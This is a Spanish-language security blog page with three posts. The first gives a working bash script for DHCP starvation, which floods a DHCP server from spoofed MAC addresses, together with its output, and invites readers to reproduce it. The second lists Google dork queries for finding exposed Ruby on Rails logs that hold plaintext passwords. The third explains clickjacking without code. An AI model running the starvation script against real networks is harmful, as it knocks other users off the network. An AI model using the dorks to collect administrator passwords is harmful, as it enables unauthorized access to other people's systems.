Un lugar sin fin

tecnicas

DHCP starvation

Escrito por unlugarsinfin 06-08-2009 en General. Comentarios (1)

DHCP starvation es un ataque que consiste en inundar con peticiones DHCP_REQUEST al servidor DHCP, con direcciones MAC falseadas y con el objetivo de agotar su espacio de direcciones asignables. El objetivo es que el servidor DHCP no sea capaz de responder a otros clientes y realizar otro tipo de ataques (DHCP rogue).

 

Es un ataque que puede causar mucho daño y muy fácil de implementar.

 

Simplemente con dhclient y macchanger instalados en tu máquina y el siguiente script, podemos reproducirlo:

 

 

 http://unlugarsinfin.blogspot.es/img/dhcp.jpg

sh -v starve.sh

#!/bin/bash

 

while true; do

   # kill all running dhcp clients - just in case

   killall dhclient

   rm -f /var/run/dhclient.pid

 

   # bring down the interface

   ifconfig eth0 down

 

   # change the MAC address of the interface and print the new MAC address

   macchanger -a eth0 2>&1 | grep Faked

 

   # bring the interface up

   ifconfig eth0 up

 

   # make a new DHCP lease

   dhclient eth0 2>&1 | grep DHCPACK

done

Faked MAC:   00:10:a8:19:ef:88 (Reliance Computer Corp.)

DHCPACK of 192.168.0.101 from 192.168.0.1

Faked MAC:   00:0c:5c:cd:fa:df (Gtn Systems B.v.)

DHCPACK of 192.168.0.102 from 192.168.0.1

Faked MAC:   00:09:e6:46:45:f3 (Cyber Switching Inc.)

DHCPACK of 192.168.0.103 from 192.168.0.1

Faked MAC:   00:0d:f1:7b:03:1c (Ionix Inc.)

DHCPACK of 192.168.0.104 from 192.168.0.1

Faked MAC:   00:09:63:e4:c5:14 (Dominion Lasercom Inc.)

DHCPACK of 192.168.0.105 from 192.168.0.1

Faked MAC:   00:10:d6:45:8b:59 (Itt - A/cd)

DHCPACK of 192.168.0.106 from 192.168.0.1

Faked MAC:   00:a0:8b:4b:90:ae (Aston Electronic Designs Ltd.)

DHCPACK of 192.168.0.107 from 192.168.0.1

Faked MAC:   00:50:b6:9c:26:79 (Good Way Ind. Co., Ltd.)

DHCPACK of 192.168.0.108 from 192.168.0.1

Faked MAC:   00:30:44:59:60:85 (Portsmith Llc)

DHCPACK of 192.168.0.109 from 192.168.0.1

Faked MAC:   00:10:6e:2d:70:7a (Tadiran Com. Ltd.)

DHCPACK of 192.168.0.110 from 192.168.0.1

Faked MAC:   00:90:2c:96:f1:77 (Data & Control Equipment Ltd.)

DHCPACK of 192.168.0.111 from 192.168.0.1

Faked MAC:   00:20:cc:dd:04:91 (Digital Services, Ltd.)

DHCPACK of 192.168.0.112 from 192.168.0.1

Faked MAC:   00:0f:0d:e0:60:ae (Hunt Electronic Co., Ltd.)

DHCPACK of 192.168.0.113 from 192.168.0.1

Faked MAC:   00:80:39:ba:9d:42 (Alcatel Stc Australia)

DHCPACK of 192.168.0.114 from 192.168.0.1

Faked MAC:   00:30:d8:1e:d4:aa (Sitek)

DHCPACK of 192.168.0.115 from 192.168.0.1

Faked MAC:   00:01:be:3e:ac:c1 (Gigalink Co., Ltd.)

DHCPACK of 192.168.0.116 from 192.168.0.1

Faked MAC:   00:80:9e:81:c9:cf (Datus Gmbh)

DHCPACK of 192.168.0.117 from 192.168.0.1

Faked MAC:   00:80:f2:f4:3e:39 (Raycom Systems Inc)

DHCPACK of 192.168.0.118 from 192.168.0.1

Faked MAC:   00:0e:1e:c3:c8:19 (Private)

DHCPACK of 192.168.0.119 from 192.168.0.1

Faked MAC:   00:40:35:90:91:9e (Opcom)

DHCPACK of 192.168.0.120 from 192.168.0.1

Faked MAC:   00:80:24:ad:fb:d9 (Kalpana, Inc.)

DHCPACK of 192.168.0.121 from 192.168.0.1

Faked MAC:   00:e0:ee:b5:4f:15 (Marel Hf)

DHCPACK of 192.168.0.122 from 192.168.0.1

Faked MAC:   00:50:03:17:23:47 (Gretag Macbeth Ag)

DHCPACK of 192.168.0.123 from 192.168.0.1

Faked MAC:   00:e0:ef:28:db:37 (Dionex)

DHCPACK of 192.168.0.124 from 192.168.0.1

Faked MAC:   00:0f:a5:ba:1f:1d (Smp / Bwa Technology Gmbh)

DHCPACK of 192.168.0.125 from 192.168.0.1

Faked MAC:   00:08:1e:5a:e3:d9 (Repeatit Ab)

DHCPACK of 192.168.0.126 from 192.168.0.1

Faked MAC:   00:0e:52:7f:eb:c5 (Optium Corporation)

DHCPACK of 192.168.0.127 from 192.168.0.1

Faked MAC:   00:50:10:b6:f1:f0 (Novanet Learning, Inc.)

DHCPACK of 192.168.0.128 from 192.168.0.1

Faked MAC:   00:04:2a:14:14:11 (Wireless Networks, Inc.)

DHCPACK of 192.168.0.129 from 192.168.0.1

Faked MAC:   00:60:b2:49:66:ac (Process Control Corp.)

DHCPACK of 192.168.0.130 from 192.168.0.1

Faked MAC:   00:a0:44:14:5e:8a (Ntt It Co., Ltd.)

DHCPACK of 192.168.0.131 from 192.168.0.1

Faked MAC:   00:90:f5:06:6d:f3 (Clevo Co.)

.

.

.

.

DHCPACK of 192.168.0.196 from 192.168.0.1

Faked MAC:   00:30:40:a3:d0:37 (Cisco Systems, Inc.)

DHCPACK of 192.168.0.197 from 192.168.0.1

Faked MAC:   00:20:94:9e:c7:32 (Cubix Corporation)

DHCPACK of 192.168.0.198 from 192.168.0.1

Faked MAC:   00:40:9d:f9:15:13 (Digiboard, Inc.)

Faked MAC:   00:05:0d:10:15:2f (Midstream Technologies, Inc.)

Faked MAC:   00:0d:3c:7e:ea:92 (I.tech Dynamic Ltd)

Faked MAC:   00:07:dc:51:c3:e9 (Atek Co, Ltd.)

Faked MAC:   00:02:18:3c:73:cb (Advanced Scientific Corp)

 

Escribiendo un google dork

Escrito por unlugarsinfin 01-07-2009 en General. Comentarios (0)

Adjunto un google hacking interesante, de mi cosecha:

 

A menudo, los administradores de Ruby on Rails (ror) olvidan ocultar los parámetros de passwords en los ficheros de logs: production.log, development.log o test.log.

 

No utilizar filter_parameter_logging y publicar cualquier fichero de log en el servidor web puede resultar desastroso.

 

Google evidencia este problema:

 

intitle:"index of" +"parent directory" intext:production.log

inurl:production filetype:log intext:password

inurl:production|development|server filetype:log intext:password

 

Introducciendo estos GH, Google muestra más de 1000 resultados con enlaces a páginas que contienen estos ficheros de logs, que a su vez pueden contener contraseñas en claro.

 

Basta con abrir uno de ellos, o simplemente observar el texto resumen de cada enlace, para obtener la contraseña de un usuario administrador de una aplicación ror.

 

Clickjacking

Escrito por unlugarsinfin 26-11-2008 en General. Comentarios (0)

Se trata de una nueva vulnerabilidad a la que parecen expuestos los navegadores modernos y de la que se conocen pocos detalles. El Clickjacking se resume en lo siguiente: un usuario hace clic sobre un enlace o botón que está viendo y en realidad lo hace sobre otro enlace controlado por terceros. Se trata de una vulnerabilidad presentada en la conferencia de seguridad OWASP de la que los detalles se mantienen en secreto.

 

Sobre el Clickjacking se cierne un halo de cierto misterio. El pasado 24 de septiembre, en el marco de las conferencias de seguridad OWASP, dos reputados expertos en seguridad de navegadores web, Jeremiah Grossman y Robert Hansen, iban a ofrecer una conferencia sobre Clickjacking en la que iban a desvelar serias vulnerabilidades que afectaban a los navegadores web más importantes. Sin embargo la conferencia fue cancelada a petición de Adobe, de cuyo software y concretamente Flash se especula que provienen gran parte de los problemas. La anulación de la conferencia les valió incluso un agradecimiento oficial por parte de la compañía.


La verdad es que esta política ha conseguido casi el efecto contrario y ha provocado toda una serie de especulaciones sobre el contenido de las revelaciones que iban a realizar los dos expertos. Algunos recomiendanmedidas drásticas, incluso sugiriendo la vuelta al uso de navegadores sólo texto como el Lynx mientras no se sepan más detalles. Así que ¿qué es eso del Clickjacking? ¿Es de verdad tan peligroso? En un artículo de PC Advisor se pueden leer algunas declaraciones de Grossman en las que sin dar demasiados detalles plantea el fenómeno como algo muy serio "Piensa en cualquier botón en cualquier web que puedes hacer aparecer dentro de las paredes de un navegador: transferencias de bancos, botones DIgg,banners de publicidad, la lista es virtualmente infinita.. Luego considera que un ataque puede superponerse de forma invisible sobre estos botones bajo el puntero del ratón, así quec uando éste hace clic sobre algo que está viendo, realmente está haciendo clic sobre algo que el atacante quiere que el usuario active". Una descripción escalofriante y que ha puesto a muchos expertos a pensar. Una de las conclusiones es que no se trata de un problema que pueda solucionarse simplemente con un parche.

El problema es que el usuario estaría activando "voluntariamente" un enlace malicioso, pero desde el punto de vista del navegador la páginano tiene ningún enlace sospechoso. Cualquier navegador compatible con páginas dinámicas, ya sea por DHTML o Javascript, es decir, todos los navegadores modernos, estaría expuesto a esta vulnerabilidad. La solución para impedir el Clickjacking sin tener que volver a utilizar navegadores en desuso para el gran público hace décadas, la podemos encontrar en paginas especialistas en seguridad como Kriptópolis. En particular, para los usuarios de Firefox, existe un programa llamado Noscript queprotege de ese tipo de ataques, pero elimina la funcionalidad de cualquier script en Java, Javascript o Flash a menos que lo activemos individualmente para cada sitio web. Tal y como explican en Webmokey, la propia página de descarga de Noscript es un caso de Clickjacking. El usuario hace clic en un enlace de descarga local, pero el código dela página muestra al navegador el enlace de la página de scripts oficiales de Firefox, de forma que la instalación se puede realizar de un solo paso.

 
El verdadero problema de seguridad, según los expertos, es que las páginas web y en consecuencia los navegadores son cada día más complejos, contienen más código y más contenido dinámico para encandilar y facilitar la navegación al usuario.Eso hace que se multipliquen las posibilidades de enmascarar malware.Lo cierto es que el Clickjacking se ha hecho famoso por el halo de misterio creado por la repentina discreción de Grossman y Hansen.En realidad ellos mismos reconocieron que es un fenómeno que se vieneproduciendo en la web desde hace tiempo. Otros ataques similares, comoel "Cross Site Request Forgery" o el "Cross Site Scripting" ya son muy conocidos y también aprovechan la potencia del lenguaje de script para engañar tanto a servidores como a usuarios.

¿Y la solución? Según el mencionado artículo de PC Advisor, Hansenopina que la única forma razonable de solucionar el problema es dellado de los navegadores. Al parecer él y Grossman ya se han puesto encontacto con Microsoft, Mozilla y Apple para ofrecer la información que obra en su poder y según ellos "están trabajando en una solución". Según el experto Michal Zalewski, además de soluciones circunstanciales, una solución "sabia" desde el punto de vista de la seguridad sería la de redefinir el lenguaje HTML para construir modelos de seguridad para navegadores que permitieran el control específico de todas las formas de enlaces yr eferencias dentro de una página. Una propuesta interesante,sensata aunque casi irrealizable (como él mismo confiesa) que retratacómo un modesto lenguaje de descripción de páginas se ha ido complicando tanto que ha abierto demasiadas lagunas de seguridad.